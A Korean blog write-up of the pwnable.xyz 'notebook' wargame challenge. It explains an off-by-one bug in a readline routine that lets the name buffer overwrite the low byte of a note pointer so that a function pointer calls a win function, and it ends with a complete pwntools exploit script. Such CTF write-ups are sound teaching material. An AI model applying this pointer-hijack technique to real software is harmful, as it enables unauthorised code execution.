블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] notebook
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] notebook

728x90

 

1. 문제


1) mitigation 확인 

PIE가 안걸려있다. 

 

 

2) 문제 확인 

바이너리를 실행하면 처음에 노트북 이름을 입력받는다. 그다음 1번 메뉴로 노트의 사이즈를 선택하여 타이틀 및 노트를 입력 가능하다. 2번 메뉴로 노트에 입력한 내용을 수정 가능하며, 3번으로 삭제를 한다. 마지막 4번으로는 초기에 입력한 노트북 이름을 수정 할 수 있다. 

 

 

3) 코드 확인 

  • main() 함수
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setup(argc, argv, envp);
      printf("Name your notebook: ");
      readline((uint8_t *)&nbook, 0x80, '\n');
      while ( 1 )
      {
        print_menu();
        switch ( (unsigned __int64)(unsigned int)read_int() )
        {
          case 0uLL:
            return 0;
          case 1uLL:
            make_note();
            break;
          case 2uLL:
            edit_note();
            break;
          case 3uLL:
            delete_note();
            break;
          case 4uLL:
            printf("Notebook name: ");
            readline((uint8_t *)&nbook, 0x80, '\n');
            break;
          default:
            puts("Invalid");
            break;
        }
      }
    }

    초기에 readline() 함수로 이름을 0x80 사이즈 만큼 입력 받는다. 그다음 각 메뉴에 따라서 반복문이 돌게 된다. 1번 부터 살펴보자 

     

     

  • make_note() 함수
    notebook *make_note()
    {
      notebook *result; // rax
      int size; // [rsp+4h] [rbp-Ch]
      notebook *makenote; // [rsp+8h] [rbp-8h]
    
      printf("size: ");
      size = read_int();
      makenote = (notebook *)malloc(0x38uLL);
      makenote->note = (char *)malloc(size);
      makenote->size = size;
      makenote->getsize = (void (__fastcall **)(char *))get_size;
      printf("Title: ");
      readline(makenote->title, 0x1F, '\n');
      printf("Note: ");
      readline((uint8_t *)makenote->note, size, '\n');
      result = makenote;
      ptr = makenote;
      return result;
    }

    사이즈를 입력 받고 0x38 사이즈 malloc을 한다. 그다음 입력한 사이즈 만큼 한번더 malloc을 한다. 그리고 사이즈, get_size 함수포이터 를 makenote에 저장을 한다. 그리고 타이틀과 노트를 입력받는다. make_note() 함수가 호출되고 났을때의 힙 구조는 다음과 같다 

     

    한번 호출할때 마다 청크는 2개 생긴다. 고정사이즈 0x40 과 note 가 들어가 청크이다. 주황색에 타이틀이 입력되고, 노란색 부분에 노트가 입력된다. 그리고 해당 청크의 시작 주소가 ptr 에 복사된다. 

     

     

  • edit_note() 함수
    void *edit_note()
    {
      void *result; // rax
      int v1; // eax
    
      result = ptr;
      if ( ptr )
      {
        result = ptr->note;
        if ( result )
        {
          printf("note: ");
          v1 = ((__int64 (__fastcall *)(notebook *))ptr->getsize)(ptr);
          result = (void *)readline((uint8_t *)ptr->note, v1, '\n');
        }
      }
      return result;
    }

    ptr→note가 존재한다면 ptr→getsize 함수를 호출하여 사이즈를 찾아낸뒤, 노트를 해당 사이즈 만큼 수정 가능하다. 

 

 

2. 접근방법


readline() 함수에서 취약점이 터진다. 

unsigned __int64 __fastcall readline(uint8_t *a1, int a2, char a3)
{
  char v4; // [rsp+0h] [rbp-20h]
  uint8_t buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v4 = a3;
  v7 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    read(0, &buf, 1uLL);
    if ( buf == v4 )
      break;
    a1[i] = buf;
  }
  a1[i] = buf;
  return __readfsqword(0x28u) ^ v7;
}

a3은 '\n' 을 나타내고 있는데, 입력한 마지막 문자열이 개행문자면 이를 맨 마지막에 넣는다. 하지만 만약 개행이 없다면, buf에 담겨져 있는 문자 하나를 맨 마지막에 넣을 수 있고, 이를 통해 off-by-one이 발생한다. 

 

bss 영역을 보면 nbook 변수에 이름이 최대 0x80 입력가능하다. 하지만 off-by-one을 이용하여 한바이트를 수정 가능하고, 이는 ptr의 하위 한바이트 값을 변경할수 있다. make_note() 함수에서 처음 할당되는 청크는 0x40 청크 사이즈이다.  

 

make_note() 가 한번 호출되면, ptr에 0x603010 주소가 들어간다. 그리고 3번 메뉴로 edit_note()를 호출한다면, 0x603010에 들어있는 get_size를 호출한다. 하지만 make_note() 함수를 호출한 뒤에, 4번 메뉴로 이름을 수정하고, off-by-one을 이용하여 ptr의 하위 한바이트를 0x50으로 수정한뒤에 edit_note()를 호출하면 어케 될까? 

 

ptr→note 즉 0x603050 + 0x30에 값이 있는지 확인한다음, 존재한다면, 0x603050에 들어있는 함수포인터를 실행할 것이다. 따라서 첫번째 make_note() 호출시 사이즈 를 0x50 정도 적당히 할당하고, 0x603050에 win 주소, +0x30에 아무 값을 넣은뒤에, 4번 메뉴로 ptr 하위 한바이트를 0x50로 수정한다면, get_size가 호출되는 것이 아니라 win함수가 호출될 것이다. 

 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30035)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xc14+$code\n')

p.sendlineafter("notebook: ","A")
p.sendlineafter("> ","1")
p.sendlineafter("size: ","56")
p.sendlineafter("Title: ","B")
p.sendafter("Note: ",p64(0x40092C)+"C"*40+p64(0x123456))
p.sendlineafter("> ","4")
p.sendafter("Notebook name: ","A"*0x7f+"\x50")
p.sendlineafter("> ","2")
p.interactive()

 

 

 

 

 

4. 몰랐던 개념


  • none
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Car shop  (0) 2020.05.18
[pwnable.xyz] words  (0) 2020.05.18
[pwnable.xyz] nin  (0) 2020.05.16
[pwnable.xyz] Dirty Turtle  (0) 2020.05.14
[pwnable.xyz] Hero Factory  (0) 2020.05.13